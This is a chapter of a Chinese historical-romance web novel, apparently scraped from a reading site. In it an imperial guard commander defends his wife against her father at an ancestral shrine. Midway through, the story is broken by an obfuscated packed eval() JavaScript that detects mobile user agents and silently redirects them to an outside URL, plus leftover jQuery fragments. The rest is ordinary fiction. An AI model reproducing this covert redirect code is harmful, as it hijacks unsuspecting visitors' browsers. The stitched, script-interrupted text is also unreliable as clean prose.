默认冷灰
24号文字
方正启体

16. 第16章

作者:百川归位本书字数:K更新时间:
    大概是根本没想过梁昱会在此时出现,郑国公眼中闪过一丝惊讶,不过一瞬他又正色如常。


    “原是梁大人来了,未曾远迎,倒显得我们国公府失礼了。”


    梁昱摆摆手,轻笑一声:“岳丈大人唤我珩之便好,今日乃是观音回门,珩之作为国公府的新婿,理该到场,不过北镇抚司有要紧的公务处理,这才来迟了一步,还望岳丈恕罪。”


    寒暄的话到此为止,梁昱目光扫向王氏手中的檀木匣子,又状似无意的问道:“这匣子里的东西是造成什么误会了吗?”


    这话一问出口,王氏瞳孔睁大,微微泄露出害怕,毕竟面对的是陛下身边圣眷正浓的近臣,她怎么也不敢与梁昱直面对上,犹豫再三还是没接话。


    还是郑国公到底见过世面,不动声色就将话头接了过来。


    “不过是后宅的一些私事,就不劳烦贤婿费心了,既是回门,那我这就叫夫人准备席面,还请贤婿赏脸,今日定要好好与我喝上两杯!”


    王氏乍然听见这声夫人,心中由慌乱转为欣喜,忙应道:“是,是,奴这就去……”


    “慢着,夫人?”


    郑月蛮弯了弯唇问道:“爹爹这就要将姨娘抬作正室了?”


    郑国公脸色阴沉的仿佛能滴出水来:“哪有女儿胆敢当众置喙当爹的后宅之事!珩之还在这儿,也不怕叫人笑话!”


    大约是站的有些久了,郑月蛮忽然觉得腹中有一阵恶心,她勉力浅浅的呼吸几口,才平复下这股不适,但到底身子骨还是弱,忍不住的咳嗽两声。


    “咳咳咳。”


    梁昱不动声色的伸手揽住她的肩膀,粗糙而布满老茧的大手虚虚的落在郑月蛮的右边胳膊上,叫她借着这股力整个人都松快了许多。


    郑月蛮微微一愣,接着继续开口。


    “姨娘多年操劳,确实也该给个名分,不过母亲生前曾说死后想自由自在,不如今日……”


    郑月蛮抬眸,一双晶亮的黑眸没有半分温度的盯着郑国公,一字一句,寒意乍现。


    “不如就请爹爹高抬贵手,写上一封放妻书,母亲的牌位我今日便带走,往后再也不入国公府的门!”


    “你放肆!”郑国公像是根本就没想到会从郑月蛮口中听到这种大逆不道的话来,气的连在梁昱面前基本的体面都维持不住。


    “你这个混账东西!你……你……咳咳咳!”


    郑国公捂着胸口,不住的咳嗽,看上去像是被气极了,王氏和郑月卿立刻扶上去。


    “嫡姐这是说的什么话!先夫人已经故去七年了,你竟还想着让爹爹与先夫人合离?身为人女岂能说出这番倒反天罡的话来!我看是嫡姐得嫁良婿,又得了县主的尊位,早就已经不把我们小小郑国公府放在眼里了吧!”


    “住嘴!”王氏假模假式的喝住郑月卿的话,装的一副委屈求全的样子,声泪俱下的看向郑月蛮:“县主可是在怪奴刚刚要将先夫人牌位移出宗祠一事?这事实在是误会,是奴瞎了眼聋了耳,轻易听信下人的谗言,只怪奴太爱国公爷了,生怕有一丝一毫的可能怕辱了国公爷的名声,先夫人未出阁前与奴乃是手帕交,奴是知道她与那秦伯阳交好的,这才听到谗言后不做他想,误会了先夫人,县主要怪只怪奴就好,千万不要和国公爷置气啊!”


    王氏这一番话,面上抢头将所有过错揽在自己身上,不断告饶博取郑国公的同情,实则又重提了林氏出阁前与男子交好的事实。


    一旦怀疑在郑国公心里生了根,哪怕只是捕风捉影,他也必将把这件事视作眼中钉肉中刺,这是人性使然。


    况且从古至今,有哪个男子能够接受自己的夫人有其他相交的男人?若是这事传了出去,郑国公怕是脊梁骨都要被人戳断。


    果然,即使那匣子里根本不是什么所谓的林氏与外男私通的书信,郑国公也不是完全信任林氏。


    “你求她做什么!我还活着呢!这郑国公府我还做的了主!”郑国公将跪倒在地的王氏一把拉起来,伸出食指狠狠的指向郑月蛮:“你以为就算没有那些鸿雁传书,你那母亲又是什么清白的!你一个嫁出去的外女,我国公府要抬哪个姨娘,还是要逐哪个夫人出府,还轮不到你来管!”


    说着,郑国公朝外叫人:“来人!上家法!是我平日太过骄纵你这逆女!竟叫你在祖宗面前说出如此荒唐的话来!今日不当着祖宗的面重重罚你,还如何向列祖列宗交代!快!把家法拿过来!”


    习妈妈几人听见这个,立刻小跑要出祠堂,刚走到门口,梁昱抬手示意一下,外面站着的打手立刻上前围住门,挡了里面人的去路。


    郑国公铁青着脸看过来,梁昱懒懒的抬眼迎上去。


    视线交错的一瞬,梁昱冷了声调。


    “岳丈这是要当着珩之的面,对吾妻用刑吗?”


    祠堂内香烛还未燃尽,香烟像是白色的游蛇一路蜿蜒攀上梁柱,最后由吹进来的四月微风轻轻吹散。


    梁昱一张漂亮的脸隐在香雾后头儿,明明灭灭的,看不清情绪。


    可他偏偏沉着眼,一双墨似得眸子冷冷的瞧着人,像是那把绣春刀已经出了鞘,不自觉的叫人忍不住不寒而栗。


    郑国公几分慌乱的错开视线,压着声调。


    “梁大人这是要插手我们国公府的家事吗!”


    郑月蛮从未有过这种感觉,从小到大,从前世到今生,她都像是一棵松柏,除了自己毅然决然的矗立着,从未想过依靠其他人,而此刻,这个和她被迫成婚,人人厌怕的阎王官大人,居然叫她平白生出一股名为安全感的东西来。


    但终究与他成婚已经算是她的筹谋利用,郑月蛮终究是不想将梁昱拖进郑国公府这一堆污糟的泥泞里。


    想到这儿,郑月蛮正欲开口,却被肩上那只手轻轻一带带进怀里断了话头。


    郑月蛮久病成医,对气味尤为敏感,大约是梁昱在北镇抚司的时候总沾上血腥味,所以他的衣裳常用檀香熏盖,只稍微靠近,就能闻到他身上的檀香味,与祠堂种浓厚的香味不一样,他用的檀香清冽好闻,叫人闻了不自觉沉醉。


    从未与他如此靠近,近到郑月蛮能听见他说话时滚烫的心跳。


    “珩之没兴趣插手岳丈的家事,可我梁昱的妻子,也不是随便就能叫人碰的。”


    这是今天的第二次,他称呼她为……妻子。


    搂着她的手紧了紧,那人继续开口。


    “左不过是一桩后宅之事,大约不会比北镇抚司的案子难审,既然大家对此事有疑,不如将涉案一干人等全都带去北镇抚司。”


    梁昱邪魅的笑了笑,狭长的眼缝微微蹙起:“不出一日,本官定会给众人一个真相。”


    这话一出,王氏和郑月卿立刻脸色煞白,就连郑国公都忍不住瞪大眼睛,微微张了张嘴,一副不可置信的样子。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151132|164257||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    北镇抚司是什么地方?就算你是大罗金仙,进去也要脱层皮出来,管你是什么公爷王爷,梁昱从来不怕的就是对付这些亲王贵胄,甚至将他惹怒,他的绣春刀下也不乏世家大族的亡魂。


    而此刻他不再自称小字珩之,不再自称小婿,而是轻而易举的拉开距离,自称本官。


    这是威慑,也是警告。


    也就是说,若是他愿意,他可以给他们脸面,做一副贤婿的模样,若他不愿意,哪怕你郑国公府与他姻亲已结,他也照样做得那个令满朝文武闻风丧胆的阎王官——梁大人。


    王氏骨头一软跌坐下去,这次是真的染了哭腔。


    “梁大人饶命!国公爷您快替奴向梁大人求个情啊!奴一柔弱妇人,怎么也去不得那北镇抚司的诏狱啊!”


    “兄长饶命!”郑月卿也跪了下去,嘴唇都在颤抖。


    若是比起胸无城府的梁祁,她更是害怕这个喜怒不形于色的兄长。


    梁昱撩起眼不说话,怀里搂着的姑娘身上的药香隐隐传来。


    倒是有些奇怪,平常梁昱总觉得鼻尖的血腥味从不间断,叫他半夜都睡不好觉,他也吩咐过下人将他的衣物都用上好的檀香熏过,可那血腥味经久弥漫,久久不散。


    此刻,郑月蛮身上若有似无的药香自下颌处散浸鼻尖,仿若萦绕周身多年的血腥味就这样散开来,叫他周身舒畅。


    怀中的人挣扎了一下,他回过神松了力道。


    郑月蛮一张白皙的小脸钻出来,那双小鹿似眼安抚似的朝他眨了眨,接着她又转过去看着冷着脸的郑国公,眼神刀锋般锋利。


    “敢问爹爹,母亲私通一事,还要查吗?”


    郑国公不是傻子,在这朝堂上,没有实权的爵位不过是过眼云烟,他人当前称你一声公爷,背后不过把你当个任人欺压的软柿子,所以他此刻绝不会真的要与梁昱撕破脸。


    郑国公缓和了一下面色,放软态度:“今日这事原是爹爹误会了,爹爹这就叫人重新为你母亲修牌位,再请静安寺的法师来替你娘做法拜谒。”


    这样一番话,在场的任何人都听得出来,郑国公在示好,也在朝郑月蛮,不,应该说是梁昱服软。


    他堂堂国公爷当着一众下人的面朝自己这个粗鄙不堪的女儿认不是,这种屈辱叫他整个五脏六腑都揪住。


    万万没想到,更大的屈辱还在后面,下一秒,他听见郑月蛮似乎夹着嘲讽的声音。


    “爹爹没有误会,我说……还请爹爹签了放妻书,我会将母亲的牌位带出郑国公府,从此她只姓林,与你再无瓜葛,至于你要抬哪个姨娘为正室,我亦没有任何怨言。”


    “你!”郑国公额头上青筋暴起,终于忍无可忍一般大步上前猛的扬起手。


    郑月蛮还未来得及反应,那只手已经被另一只骨节修长的手牢牢钳制住。


    梁昱笑的眼角都泛着冷意,他微微用力,郑国公就疼的脸上泛红,整个人松软到要摔下去。


    “你不过是个……是个区区金陵卫指挥使,竟敢……敢对我动手!啊!”


    郑国公疼的目眦欲裂,唇角抽搐,郑月蛮也被这一下给惊的愣在原地,忘记了动作。


    梁昱敛了笑意,再加重几分力道,寒冰似的眼一一扫过堂内众人。


    “本官不想重复第二遍,观音是我妻子,还请各位……”


    一字一句:“高,抬,贵,手!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)